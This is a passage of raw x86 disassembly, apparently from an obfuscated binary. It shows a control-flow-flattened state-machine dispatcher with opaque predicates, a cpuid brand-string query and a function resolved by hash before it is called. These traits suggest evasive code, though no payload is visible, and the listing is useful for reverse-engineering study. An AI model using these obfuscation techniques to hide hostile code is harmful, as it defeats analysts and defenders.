cmp eax, 0x485de71b
je 0x444b05
cmp eax, 0x48f18c92
je 0x444b14
cmp eax, 0x48fbba78
jne 0x440ae0
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1b8]
mov dword [eax + 0x18], ecx
mov eax, dword [esi + 0x14]
add eax, 0x1c
mov dword [esi + 0x1c0], eax
mov dword [esi + 4], 0x2edb9700
jmp 0x440ae0
cmp eax, 0xbdd9fdeb
jle 0x4435f8
cmp eax, 0xbdd9fdec
je 0x444b52
cmp eax, 0xbddb934c
je 0x444b85
cmp eax, 0xbf257c92
jne 0x440ae0
mov ebx, dword [esi + 8]
shl ebx, 5
add ebx, 0xfff68000
and ebx, 0xfff80000
or ebx, 0x2a
mov dword [esi + 8], ebx
push 0x6196
push ebx
push 0x5d7b
push 0x3334
call fcn.00447260
add esp, 0x10
push 0x20bb
push 0x292a
push 0x57d1
push ebx
call fcn.00447260
add esp, 0x10
mov eax, 0x8bc94a5
cmp ebx, 0xb5
jl 0x442278
mov eax, 0x5a2b3fc9
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x25ed8bdc
jle 0x443650
cmp eax, 0x25ed8bdd
je 0x444ba4
cmp eax, 0x2840e0fc
je 0x444bca
cmp eax, 0x29a52922
jne 0x440ae0
mov eax, dword [esi + 0xc]
shr eax, 6
imul eax, eax, 0x10c
add eax, 0x12a
shr eax, 8
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x8ce88bb7
jmp 0x440ae0
cmp eax, 0x9ef395ac
jle 0x443688
cmp eax, 0x9ef395ad
je 0x444c03
cmp eax, 0x9fce84d8
je 0x444c3a
cmp eax, 0xa01a0d47
jne 0x440ae0
imul eax, dword [esi + 0xc], 0xe8
add eax, 0x1c
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x3929d46b
jmp 0x440ae0
cmp eax, 0x6032095e
jle 0x4436cb
cmp eax, 0x6032095f
je 0x444c66
cmp eax, 0x60edd945
je 0x444c96
cmp eax, 0x61d10509
jne 0x440ae0
mov eax, dword [esi + 8]
lea ecx, [eax + eax*4]
shl ecx, 0xb
add ecx, 0x380a
mov dword [esi + 8], ecx
mov eax, 0x104c4fb4
cmp ecx, 0xe0
jl 0x442364
mov eax, 0x9c1ba9ed
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0xf1504ec2
jle 0x44371f
cmp eax, 0xf1504ec3
je 0x444cc8
cmp eax, 0xf23b2c13
je 0x444cd7
cmp eax, 0xf2c135a5
jne 0x440ae0
push 4
push 0x4844ef
push 6
push dword [esi + 0x94]
call fcn.00447380
add esp, 0x10
mov eax, dword [esi + 0x28]
mov ecx, dword [esi + 0x94]
mov edx, dword [ecx]
mov ecx, dword [ecx + 3]
mov dword [eax + 3], ecx
mov dword [eax], edx
push dword [esi + 0x28]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
mov dword [esi + 4], 0x1fa40e09
jmp 0x440ae0
cmp eax, 0x15477e0f
jle 0x44376d
cmp eax, 0x15477e10
je 0x444d1d
cmp eax, 0x15d9955a
je 0x444d36
cmp eax, 0x16690ac7
jne 0x440ae0
mov eax, dword [esi + 0x1c4]
mov ecx, dword [esi + 0x1d4]
mov dword [ecx], eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1c8]
mov dword [eax + 0x24], ecx
mov dword [esi + 4], 0xde61a78c
jmp 0x440ae0
cmp eax, 0x8ce88bb6
jle 0x4437c9
cmp eax, 0x8ce88bb7
je 0x444d51
cmp eax, 0x8e35aca4
je 0x444d86
cmp eax, 0x8fe8d881
jne 0x440ae0
mov eax, dword [esi + 0xc]
shl eax, 0xd
add eax, 0x1a8fec
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x367e9265
jmp 0x440ae0
cmp eax, 0x54118fde
je 0x444daf
cmp eax, 0x54290b0b
je 0x444ddf
cmp eax, 0x547269cd
jne 0x440ae0
mov eax, dword [esi + 0x40]
mov ecx, dword [esi + 0xa4]
movzx edx, word [ecx + 0xc]
mov word [eax + 0xc], dx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0x181b1a3b
jmp 0x440ae0
cmp eax, 0xc99362eb
je 0x444e0d
cmp eax, 0xca7c7964
je 0x444e2a
cmp eax, 0xcb2d4c25
jne 0x440ae0
mov eax, dword [esi + 0x148]
lea ecx, [esi + 0x120]
push ecx
push dword [esi + 0x108]
call eax
mov eax, dword [esi + 0x28]
mov dword [esi + 4], 0x2fc64b54
jmp 0x440ae0
cmp eax, 0x38d6897c
je 0x444e52
cmp eax, 0x3929d46b
je 0x444e61
cmp eax, 0x399f299a
jne 0x440ae0
mov edi, dword [esi + 8]
shr edi, 9
add edi, 0xffffff4c
mov dword [esi + 8], edi
call fcn.00408e87
mov eax, 0xd90fc93a
cmp edi, 0x8a
je 0x44254e
mov eax, 0xb296c61
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0xac57f66e
je 0x444e8d
cmp eax, 0xac870535
je 0x444ecc
cmp eax, 0xaf3d650a
jne 0x440ae0
mov ecx, dword [esi + 0xc]
shr ecx, 7
lea eax, [ecx - 0xde]
imul eax, eax
imul edx, eax, 0x2737
dec edx
lea ecx, [ecx*4 - 0x378]
and ecx, 0xfffff800
mov dword [esi + 0xc], ecx
mov ecx, 0x5b1058b9
cmp eax, edx
je 0x4425ab
mov ecx, 0x32ae1d7d
mov dword [esi + 4], ecx
jmp 0x440ae0
cmp eax, 0x72f4bcf0
je 0x444f15
cmp eax, 0x730eba7f
je 0x444f54
cmp eax, 0x7362c2eb
jne 0x440ae0
mov eax, dword [esi + 0xc]
mov ecx, 0xffffff14
add eax, ecx
imul ecx, eax, 0xa8000000
imul eax, eax
imul edx, eax, 0x1de7
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x192f5a00
cmp edx, eax
je 0x4425ff
mov ecx, 0xf3bd0545
mov dword [esi + 4], ecx
jmp 0x440ae0
cmp eax, 0xe8fcf2a1
je 0x444f6a
cmp eax, 0xe9975444
je 0x444fbb
cmp eax, 0xe9f6d0e6
jne 0x440ae0
mov eax, dword [esi + 0x78]
mov word [eax + 0x14], 0
mov dword [esi + 4], 0x7399185f
jmp 0x440ae0
cmp eax, 0xb296c61
je 0x445007
cmp eax, 0xc5c8d49
je 0x445025
cmp eax, 0xca312a6
jne 0x440ae0
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x160]
mov word [eax + ecx], 0xa
mov eax, dword [esi + 0x4c]
mov dword [esi + 4], 0xff67e51d
jmp 0x440ae0
cmp eax, 0x876f42a3
je 0x445053
cmp eax, 0x87946877
je 0x44506e
cmp eax, 0x87e40702
jne 0x440ae0
imul eax, dword [esi + 8], 0x1e3b
add eax, 0x4af
shr eax, 8
imul ecx, eax, 0x65f4
mov dword [esi + 8], ecx
mov eax, 0x8bc94a5
cmp ecx, 0x32
jge 0x4426c4
mov eax, 0x730eba7f
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x4e2ed2c1
je 0x4450a9
cmp eax, 0x4f0bb873
je 0x4450d0
cmp eax, 0x4fa8551d
jne 0x440ae0
mov edi, 0xf
push edi
push 0x4844ce
push dword [esi + 0x88]
call fcn.00450060
add esp, 0xc
push 8
push 0x4844dd
push edi
push dword [esi + 0x88]
call fcn.00447380
add esp, 0x10
mov eax, dword [esi + 0x13c]
mov ecx, dword [esi + 0x88]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0x7b77bc8f
jmp 0x440ae0
cmp eax, 0xc2fe1158
je 0x4450f7
cmp eax, 0xc30cce50
je 0x445106
cmp eax, 0xc443767f
jne 0x440ae0
push 4
push 0x4844bb
push 0xf
push dword [esi + 0x80]
call fcn.00447380
add esp, 0x10
mov eax, dword [esi + 0x130]
mov ecx, dword [esi + 0x80]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0xb5c9ae72
jmp 0x440ae0
cmp eax, 0x311b76a0
je 0x445120
cmp eax, 0x325a70cf
je 0x445138
cmp eax, 0x32ae1d7d
jne 0x440ae0
mov eax, dword [esi + 0xe8]
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xec]
mov dword [esi + 0x1d0], eax
mov eax, dword [esi + 0x14]
add eax, 0x20
mov dword [esi + 0x1d4], eax
mov dword [esi + 4], 0x1ace8a92
jmp 0x440ae0
cmp eax, 0xa6902077
je 0x445152
cmp eax, 0xa69ad210
je 0x445191
cmp eax, 0xa6bac59b
jne 0x440ae0
push dword [esi + 0x110]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
push dword [esi + 0x10]
call fcn.004615b0
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x184], eax
mov dword [esi + 4], 0x9e4279cd
jmp 0x440ae0
cmp eax, 0x68b1d8d0
je 0x4451b0
cmp eax, 0x68bf22d4
je 0x4451e8
cmp eax, 0x68d5238d
jne 0x440ae0
mov ecx, dword [esi + 8]
shl ecx, 0xe
add ecx, 0xffd50000
mov dword [esi + 8], ecx
mov eax, 0xc5f299bf
cmp ecx, 0xae
jge 0x44289b
mov eax, 0xf2c135a5
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0xf8e559fe
je 0x445241
cmp eax, 0xf95480d7
je 0x44524d
cmp eax, 0xfaaf446a
jne 0x440ae0
mov edi, dword [esi + 8]
mov eax, 0xf0
add edi, eax
mov dword [esi + 8], edi
push edi
call fcn.00440ac8
add esp, 4
mov eax, 0xb38b5094
cmp edi, 0x64
jl 0x4428e9
mov eax, 0x15477e10
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x1f8f41c8
je 0x445267
cmp eax, 0x1fa40e09
je 0x445291
cmp eax, 0x1fcb6de5
jne 0x440ae0
mov edi, dword [esi + 8]
mov eax, 0xc9
add edi, eax
mov dword [esi + 8], edi
push 0x2519
push edi
push 0x4e88
call fcn.0042e7cb
add esp, 0xc
push 0x5a37
push 0x4c25
push edi
push 0x58c0
call fcn.00447380
add esp, 0x10
mov eax, 0xbad9b92f
cmp edi, 0xe7
je 0x44295c
mov eax, 0x930e8732
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x98ba8218
je 0x4452ae
cmp eax, 0x9c1ba9ed
je 0x4452fe
cmp eax, 0x9c866ef3
jne 0x440ae0
mov dword [esi + 4], 0x359e8812
jmp 0x440ae0
cmp eax, 0x5b1058b9
je 0x445324
cmp eax, 0x5b668583
je 0x445372
cmp eax, 0x5bb238ad
jne 0x440ae0
mov eax, dword [esi + 0x58]
mov eax, dword [esi + 0x54]
mov eax, dword [esi + 0x1c]
mov eax, dword [esi + 0x50]
mov dword [esi + 4], 0x61ea1718
jmp 0x440ae0
cmp eax, 0xd0460e08
je 0x4453ac
cmp eax, 0xd11548bf
je 0x4453b8
cmp eax, 0xd2959f27
jne 0x440ae0
mov eax, dword [esi + 0xc]
mov ecx, 0x86
add eax, ecx
shr eax, 0xa
imul ecx, eax, 0x2f40
imul eax, eax
imul edx, eax, 0x2bc5
add ecx, 0x1640
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xa2a4580b
cmp eax, edx
je 0x442a1f
mov ecx, 0x5fa840b6
mov dword [esi + 4], ecx
jmp 0x440ae0
cmp eax, 0x3ed8f8cf
je 0x4453d8
cmp eax, 0x3f185db8
je 0x4453f9
cmp eax, 0x3fa03bfc
jne 0x440ae0
mov eax, dword [esi + 0xc]
shl eax, 0x10
add eax, 0xcd8000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xcc9eb19b
jmp 0x440ae0
cmp eax, 0xb38b5094
je 0x445405
cmp eax, 0xb463e79f
je 0x44542a
cmp eax, 0xb5738bbf
jne 0x440ae0
mov eax, dword [esi + 0xc]
shr eax, 0xe
imul ecx, eax, 0xcb20
imul eax, eax
imul edx, eax, 0x337f
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xc5f299bf
cmp edx, eax
je 0x442aaa
mov ecx, 0x9e9f1ead
mov dword [esi + 4], ecx
jmp 0x440ae0
cmp eax, 0x79916b11
je 0x44546e
cmp eax, 0x79ae4a35
je 0x445496
cmp eax, 0x79c5bcd5
jne 0x440ae0
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x138]
mov dword [esi + 0x13c], eax
mov dword [esi + 4], 0x34a85f49
jmp 0x440ae0
cmp eax, 0xd90fc93a
je 0x4454ab
cmp eax, 0xd940915c
je 0x44550e
cmp eax, 0xdc89495d
jne 0x440ae0
push dword [esi + 0x78]
push 0x3d95e230
call fcn.0044b10c
add esp, 8
push 0
call eax
mov dword [esi + 0x124], eax
mov dword [esi + 4], 0xd0460e08
jmp 0x440ae0
cmp eax, 0x6652a4e
je 0x445561
cmp eax, 0x830ca5a
je 0x445590
cmp eax, 0x871c626
jne 0x440ae0
imul eax, dword [esi + 8], 0x7800
add eax, 0x1d1000
mov dword [esi + 8], eax
mov dword [esi + 4], 0x9e2fa6d3
jmp 0x440ae0
cmp eax, 0x84e89f42
je 0x4455eb
cmp eax, 0x85bf4554
je 0x445609
cmp eax, 0x862db538
jne 0x440ae0
push 6
push 0x484521
push 0xd
push dword [esi + 0xa4]
call fcn.00447380
add esp, 0x10
mov dword [esi + 4], 0x4a3c51f5
jmp 0x440ae0
cmp eax, 0x4b5110d8
je 0x445642
cmp eax, 0x4b79651c
je 0x44567f
cmp eax, 0x4c75140d
jne 0x440ae0
mov eax, dword [esi + 0xc]
shr eax, 0x15
add eax, 0x38
imul eax, eax
imul edx, eax, 0x7bc9
dec edx
mov dword [esi + 0xc], 0x29
mov ecx, 0x65877a74
cmp edx, eax
je 0x442bfe
mov ecx, 0xc70cd5c9
mov dword [esi + 4], ecx
jmp 0x440ae0
cmp eax, 0xc0f7ff5d
je 0x4456a1
cmp eax, 0xc1cecfe1
je 0x4456d3
cmp eax, 0xc20b7090
jne 0x440ae0
mov eax, dword [esi + 8]
lea edi, [eax*8 - 0x4c5]
mov dword [esi + 8], edi
push edi
call fcn.0044629b
add esp, 4
mov eax, 0x8a146f18
cmp edi, 0x1d
jb 0x442c4c
mov eax, 0x77dd275b
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x2d53bf60
je 0x445703
cmp eax, 0x2e71e5ca
je 0x445728
cmp eax, 0x2edb9700
jne 0x440ae0
mov eax, dword [esi + 0x1bc]
mov ecx, dword [esi + 0x1c0]
mov dword [ecx], eax
mov eax, 0x80000004
xor ecx, ecx
cpuid
mov dword [esi + 0xe0], eax
mov dword [esi + 0xe4], ebx
mov dword [esi + 0xe8], ecx
mov dword [esi + 0xec], edx
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xe8]
mov eax, dword [esi + 0xec]
mov eax, dword [esi + 0xe0]
mov dword [esi + 0x1c4], eax
mov eax, dword [esi + 0xe8]
mov eax, dword [esi + 0xec]
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xe4]
mov dword [esi + 0x1c8], eax
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xec]
mov eax, dword [esi + 0xe8]
mov dword [esi + 0x1cc], eax
mov dword [esi + 4], 0xaf3d650a
jmp 0x440ae0
cmp eax, 0xa188e093
je 0x445764
cmp eax, 0xa225c1e2
je 0x4457a5
cmp eax, 0xa2a4580b
jne 0x440ae0
mov eax, dword [esi + 0xa0]
mov byte [eax + 0xa], 0
mov dword [esi + 4], 0x95d3505f
jmp 0x440ae0
cmp eax, 0x6403a008
je 0x4457bf
cmp eax, 0x65877a74
je 0x4457cb
cmp eax, 0x66177548
jne 0x440ae0
mov eax, dword [esi + 0x68]
mov dword [esi + 4], 0xf1504ec3
jmp 0x440ae0
cmp eax, 0xf4563577
je 0x44581b
cmp eax, 0xf4593bdd
je 0x445866
cmp eax, 0xf490fa59
jne 0x440ae0
mov eax, dword [esi + 0xc]
mov ecx, 0xffffff7d
add eax, ecx
shr eax, 9
imul ecx, eax, 0x73
imul eax, eax
imul edx, eax, 0x8623
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x51f80afc
cmp eax, edx
je 0x442dbd
mov ecx, 0xc5f299bf
mov dword [esi + 4], ecx
jmp 0x440ae0
cmp eax, 0x1936181b
je 0x44589d
cmp eax, 0x1ace8a92
je 0x4458c0
cmp eax, 0x1d4db8fc
jne 0x440ae0
push 1
mov edi, 0xa
push edi
call fcn.004600e3
add esp, 8
mov dword [esi + 0x11c], eax
push edi
push dword [esi + 0x11c]
push dword [esi + 0x1e4]
call fcn.0045e738
add esp, 0xc
mov eax, dword [esi + 0x6c]
mov dword [esi + 4], 0x72687fc5
jmp 0x440ae0
cmp eax, 0x930e8732
je 0x4458f8
cmp eax, 0x931aa3fe
je 0x445917
cmp eax, 0x932a4f66
jne 0x440ae0
mov eax, dword [esi + 8]
lea edi, [eax*8 + 0x6c0]
mov dword [esi + 8], edi
push 0x29d0
push 0x130e
push edi
push 0x4dc4
call fcn.00447260
add esp, 0x10
mov eax, 0x2231c25
cmp edi, 0xf3
jl 0x442e78
mov eax, 0x9ef395ad
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x578adb76
je 0x445937
cmp eax, 0x5870b9f8
je 0x445952
cmp eax, 0x58c0e25c
jne 0x440ae0
mov ecx, dword [esi + 8]
shl ecx, 0xe
add ecx, 0xfff7802e
mov eax, ecx
shr eax, 0xb
mov dword [esi + 8], eax
mov eax, 0xd339d5fe
cmp ecx, 0x1e000
jae 0x442ec7
mov eax, 0x1347eb9c
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0xcc9eb19b
je 0x445984
cmp eax, 0xcd598f4c
je 0x4459c1
cmp eax, 0xcd6b4b46
jne 0x440ae0
mov eax, dword [esi + 0xf0]
mov byte [eax + 0xc], 0
mov dword [esi + 4], 0xa01a0d47
jmp 0x440ae0
cmp eax, 0x3b011fef
je 0x4459d9
cmp eax, 0x3b28e3c1
je 0x4459fa
cmp eax, 0x3c1ff867
jne 0x440ae0
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
mov dword [esi + 4], 0xf95480d7
jmp 0x440ae0
cmp eax, 0xb10facfd
je 0x445a3c
cmp eax, 0xb12f6187
je 0x445a73
cmp eax, 0xb1e29254
jne 0x440ae0
mov eax, dword [esi + 8]
shl eax, 8
or eax, 0xcb
imul edi, eax, 0xbcd
mov dword [esi + 8], edi
push edi
push 0x47e4
push 0x3e6d
call fcn.0042e7cb
add esp, 0xc
mov eax, 0x127d2e53
cmp edi, 0xe2
jl 0x442f96
mov eax, 0x932a4f66
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x742e0221
je 0x445acf
cmp eax, 0x74b929fc
je 0x445b08
cmp eax, 0x74fd6f1f
jne 0x440ae0
mov eax, dword [esi + 0x90]
add eax, 0x18
mov dword [esi + 0x144], eax
mov dword [esi + 4], 0x578adb76
jmp 0x440ae0
cmp eax, 0xed86323f
je 0x445b2d
cmp eax, 0xedc0f362
je 0x445b44
cmp eax, 0xef7c14c1
jne 0x440ae0
mov eax, dword [esi + 0xfc]
mov word [eax + 0x14], 0
push 0x14
push 0x4780f0
push dword [esi + 0xfc]
call fcn.00450060
add esp, 0xc
push 5
push 0x478104
push 0xa
push dword [esi + 0xfc]
call fcn.00447260
add esp, 0x10
push 0x16
push dword [esi + 0xfc]
push dword [esi + 0x74]
call fcn.00450060
add esp, 0xc
push dword [esi + 0x10]
call fcn.004615b0
add esp, 4
push eax
push dword [esi + 0x10]
push dword [esi + 0x74]
push dword [ebp + 8]
call fcn.00428681
add esp, 0x10
mov eax, dword [esi + 0x74]
mov eax, dword [esi + 0x70]
mov eax, dword [esi + 0x6c]
mov eax, dword [esi + 0x24]
mov dword [esi + 4], 0x9d967b79
jmp 0x440ae0
cmp eax, 0xef1c28c
je 0x445b7e
cmp eax, 0x104c4fb4
je 0x445c2f
cmp eax, 0x127d2e53
jne 0x440ae0
imul eax, dword [esi + 8], 0x88000000
mov dword [esi + 8], eax
push 0x1b26
push 0x4961
push eax
push 0x3f92
call fcn.00447260
add esp, 0x10
call fcn.00408e87
mov dword [esi + 4], 0xf4593bdd
jmp 0x440ae0
cmp eax, 0x8a159cd1
je 0x445c83
cmp eax, 0x8ba168fd
je 0x445c8f
cmp eax, 0x8bf3e645
jne 0x440ae0
mov ebx, dword [esi + 8]
add ebx, 0x19
mov edi, ebx
shr edi, 3
add edi, 0xffffff2f
mov dword [esi + 8], edi
push edi
push 0x263c
push 0xfe3
push 0x5b9a
call fcn.00447260
add esp, 0x10
push edi
call fcn.0044629b
add esp, 4
mov eax, 0xd339d5fe
cmp ebx, 0xde0
jb 0x443137
mov eax, 0x367e9265
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x519910a8
je 0x445c9b
cmp eax, 0x51f80afc
je 0x445cad
cmp eax, 0x5286ace7
jne 0x440ae0
mov eax, dword [esi + 0xa8]
mov byte [eax + 0x1b], 0
mov dword [esi + 4], 0xf3d87e13
jmp 0x440ae0
cmp eax, 0xc5f299bf
je 0x445ce5
cmp eax, 0xc5fa051d
je 0x445d1d
cmp eax, 0xc70cd5c9
jne 0x440ae0
mov edi, 0x17
push edi
push 0x484560
push dword [esi + 0xac]
call fcn.00450060
add esp, 0xc
push 5
push 0x484577
push edi
push dword [esi + 0xac]
call fcn.00447380
add esp, 0x10
push 0x18
push dword [esi + 0xac]
push dword [esi + 0x50]
call fcn.00450060
add esp, 0xc
mov dword [esi + 4], 0xaa3433c0
jmp 0x440ae0
cmp eax, 0x34ea88bc
je 0x445d4d
cmp eax, 0x359e8812
je 0x445d59
cmp eax, 0x367e9265
jne 0x440ae0
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x12c]
mov dword [esi + 0x130], eax
mov dword [esi + 4], 0xa140a1ab
jmp 0x440ae0
cmp eax, 0xaa3433c0
je 0x445d75
cmp eax, 0xaa5d8f45
je 0x445db1
cmp eax, 0xaab5e919
jne 0x440ae0
imul edi, dword [esi + 8], 0x31a380
add edi, 0xa88cf580
mov dword [esi + 8], edi
call fcn.00408e87
push 0x21f7
push edi
push 0x639b
call fcn.0042e7cb
add esp, 0xc
mov dword [esi + 4], 0xc5f299bf
jmp 0x440ae0
cmp eax, 0x6e84da04
je 0x445dfa
cmp eax, 0x6f47770e
je 0x445e09
cmp eax, 0x6fa8cbcf
jne 0x440ae0
mov dword [esi + 4], 0x683bff05
jmp 0x440ae0
cmp eax, 0xff67e51d
je 0x445e18
cmp eax, 0x1557802
je 0x445e38
cmp eax, 0x2231c25
jne 0x440ae0
xor ebx, ebx
inc ebx
push ebx
mov edi, 0x20
push edi
call fcn.004600e3
add esp, 8
mov dword [esi + 0x100], eax
push ebx
push edi
call fcn.004600e3
add esp, 8
mov dword [esi + 0x104], eax
mov dword [esi + 4], 0x6c07dc46
jmp 0x440ae0
cmp eax, 0x23c77ee4
je 0x445e52
cmp eax, 0x24125407
je 0x445eac
cmp eax, 0x24a0fa82
jne 0x440ae0
mov eax, dword [esi + 8]
shl eax, 0xf
or eax, 0x46
mov dword [esi + 8], eax
call fcn.00408e87
mov dword [esi + 4], 0x8a146f18
jmp 0x440ae0
cmp eax, 0x9d967b79
je 0x445eb8
cmp eax, 0x9e2fa6d3
je 0x445ef2
cmp eax, 0x9e4279cd
jne 0x440ae0
mov eax, dword [esi + 0xc]
and eax, 0xfffffffc
shl eax, 0xd
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xefb47bd9
jmp 0x440ae0
cmp eax, 0x5e20d2cc
je 0x445f17
cmp eax, 0x5ead8a11
je 0x445f54
cmp eax, 0x5f687d33
jne 0x440ae0
mov eax, dword [esi + 0x70]
mov dword [eax], 0xa424d
push dword [esi + 0x70]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
mov dword [esi + 4], 0x6e84da04
jmp 0x440ae0
cmp eax, 0xd4b78af1
je 0x445f71
cmp eax, 0xd4b796f7
je 0x445f91
cmp eax, 0xd5b39c82
jne 0x440ae0
mov edi, dword [esi + 8]
mov eax, 0x98
add edi, eax
mov dword [esi + 8], edi
push 0x428e
push edi
push 0x3d60
call fcn.0042e7cb
add esp, 0xc
mov eax, 0x2231c25
cmp edi, 0xf5
jl 0x443406
mov eax, 0x68bf22d4
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x45469859
je 0x445fa0
cmp eax, 0x461f581b
je 0x445fdb
cmp eax, 0x463a114b
jne 0x440ae0
mov eax, dword [esi + 0xc]
shr eax, 0xc
add eax, 0x32
shr eax, 0xb
lea ecx, [eax*4 - 0x96]
imul eax, eax
imul edx, eax, 0x18d3
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x91f8b2e8
cmp edx, eax
je 0x44345d
mov ecx, 0x5286ace7
mov dword [esi + 4], ecx
jmp 0x440ae0
cmp eax, 0xb8442e44
je 0x445fff
cmp eax, 0xb86dd3b6
je 0x44601f
cmp eax, 0xb9650f70
jne 0x440ae0
push dword [esi + 0x10]
call fcn.004615b0
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x150], eax
mov dword [esi + 4], 0xc5fa051d
jmp 0x440ae0
cmp eax, 0x7e1918fa
je 0x446067
cmp eax, 0x7e3d8bd7
je 0x446086
cmp eax, 0x7e588e9a
jne 0x440ae0
imul eax, dword [esi + 8], 0x700
and eax, 0xffe00000
mov dword [esi + 8], eax
push 0x311a
push 0x6120
push 0x2ec6
push eax
call fcn.00447380
add esp, 0x10
mov dword [esi + 4], 0x33ccfbcc
jmp 0x440ae0
cmp eax, 0xe1c66a6c
je 0x4460f7
cmp eax, 0xe2605302
jne 0x446288
mov eax, dword [esi + 0xc]
lea eax, [eax*4 + 0x330]
shr eax, 7
mov ecx, eax
imul ecx, eax
shl eax, 5
add eax, 0xffffe800
imul edx, ecx, 0x81c5
dec edx
shr eax, 7
and eax, 0x1ffff00
mov dword [esi + 0xc], eax
mov eax, 0x9cc5e09c
cmp edx, ecx
je 0x44354a
mov eax, 0x9ef395ad
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x231b4d6
je 0x446112
cmp eax, 0x2d64ae0
jne 0x440ae0
push eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0xf8], eax
mov dword [esi + 4], 0xaf47789a
jmp 0x440ae0
cmp eax, 0x81329b4d
je 0x44613e
cmp eax, 0x81649d46
jne 0x440ae0
mov edi, dword [esi + 8]
shl edi, 4
add edi, 0x940
mov dword [esi + 8], edi
push edi
call fcn.00440ac8
add esp, 4
mov eax, 0x5b668583
cmp edi, 0xce
jb 0x4435c0
mov eax, 0x1347eb9c
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x469974e6
je 0x446179
cmp eax, 0x472cf7c2
jne 0x440ae0
mov eax, dword [esi + 8]
shl eax, 0x17
or eax, 0x1ae000
mov dword [esi + 8], eax
mov dword [esi + 4], 0x5101437e
jmp 0x440ae0
cmp eax, 0xbad9b92f
je 0x446191
cmp eax, 0xbaeb7a37
jne 0x440ae0
push 4
push 0x4845f8
push 0xc
push dword [esi + 0xf0]
call fcn.00447380
add esp, 0x10
mov eax, dword [esi + 0x64]
mov ecx, dword [esi + 0xf0]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0x16fc7477
jmp 0x440ae0
cmp eax, 0x24ebbde0
je 0x4461ca
cmp eax, 0x25465d1b
jne 0x440ae0
mov eax, dword [esi + 0x24]
xor ecx, ecx
mov dword [eax + 4], ecx
mov dword [eax], ecx
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xf4], eax
mov dword [esi + 4], 0x9e79e561
jmp 0x440ae0
cmp eax, 0x9e79e561
je 0x4461f8
cmp eax, 0x9e9f1ead
jne 0x440ae0
mov eax, dword [esi + 0x98]
mov word [eax + 0x18], 0
push 0x18
push 0x478060
push dword [esi + 0x98]
call fcn.00450060
add esp, 0xc
mov dword [esi + 4], 0x77dd275b
jmp 0x440ae0
cmp eax, 0x5fa840b6
je 0x44622a
cmp eax, 0x6023b85b
jne 0x440ae0
mov eax, dword [esi + 0x158]
mov byte [eax], 0
mov eax, dword [esi + 0xa4]
mov cl, byte [0x484520]
mov byte [eax + 0xc], cl
mov ecx, dword [0x48451c]
mov dword [eax + 8], ecx
mov ecx, dword [0x484518]
mov dword [eax + 4], ecx
mov ecx, dword [0x484514]
mov dword [eax], ecx
mov dword [esi + 4], 0x5a9da1ac
jmp 0x440ae0
cmp eax, 0xefb47bd9
je 0x446236
cmp eax, 0xefea042b
jne 0x440ae0
mov edi, dword [esi + 8]
add edi, 0xffffffc1
mov dword [esi + 8], edi
push 0x14ea
push 0x4e44
push edi
push 0x41fa
call fcn.00447380
add esp, 0x10
mov eax, 0x325a70cf
cmp edi, 0x37
jge 0x443765
mov eax, 0xe863f104
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x1347eb9c
je 0x44624d
cmp eax, 0x141ea817
jne 0x440ae0
mov edi, dword [esi + 8]
mov ebx, edi
